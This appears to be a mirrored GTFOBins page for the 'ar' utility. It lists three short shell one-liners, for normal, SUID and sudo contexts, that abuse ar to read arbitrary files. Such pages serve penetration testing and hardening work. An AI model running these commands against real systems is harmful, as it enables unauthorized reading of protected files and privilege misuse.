1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/ar.md
Andrea Cardaci 23a082d1e3 Update ar
2021-06-26 11:14:15 +02:00

458 B

description functions
The file appears amid the binary content of the archive.
file-read suid sudo
code
TF=$(mktemp -u) LFILE=file_to_read ar r "$TF" "$LFILE" cat "$TF"
code
TF=$(mktemp -u) LFILE=file_to_read ./ar r "$TF" "$LFILE" cat "$TF"
code
TF=$(mktemp -u) LFILE=file_to_read sudo ar r "$TF" "$LFILE" cat "$TF"